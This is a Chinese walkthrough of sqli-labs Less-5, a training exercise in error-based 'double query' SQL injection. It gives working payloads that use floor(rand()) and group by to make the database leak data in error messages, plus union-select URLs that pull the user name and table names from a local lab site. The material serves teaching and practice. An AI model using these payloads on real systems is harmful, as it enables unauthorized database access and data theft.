【sqli-labs】 less5 GET

双注入查询可以查看这两篇介绍

https://www.2cto.com/article/201302/190763.html

https://www.2cto.com/article/201303/192718.html

简而言之就是构造如下的查询,会使得查询结果的一部分通过报错的形式显示出来

select count(*),concat((select version()),floor(rand()*2))as a from information_schema.tables group by a;

数据库执行结果

但是也有几率不报错

加大rand()的倍数时,报错几率更高,个人推荐用rand()*9这样去掉最后一个单数字后就能得到查询结果

select count(*),concat((select version()),floor(rand()*9))as a from information_schema.tables group by a

有了这个知识再来看less5

提交的id并没有将结果显示在页面

添加单引号报错

确定存在SQL注入漏洞,且报错信息没有被屏蔽

对应sql语句应为,确定为字符型注入

select ... from ... where xx='1' limit 0,1

既然报错信息没有被屏蔽,使用order by探测字段数量

http://localhost/sqli/Less-5/?id=1' order by 4%23

使用union查询

http://localhost/sqli/Less-5/?id=a' union select 1,count(*),concat((select user()),floor(rand()*9))as a from information_schema.tables group by a%23

将select user()做替换,查询其他信息

http://localhost/sqli/Less-5/?id=a' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23

原文地址:https://www.cnblogs.com/omnis/p/8313608.html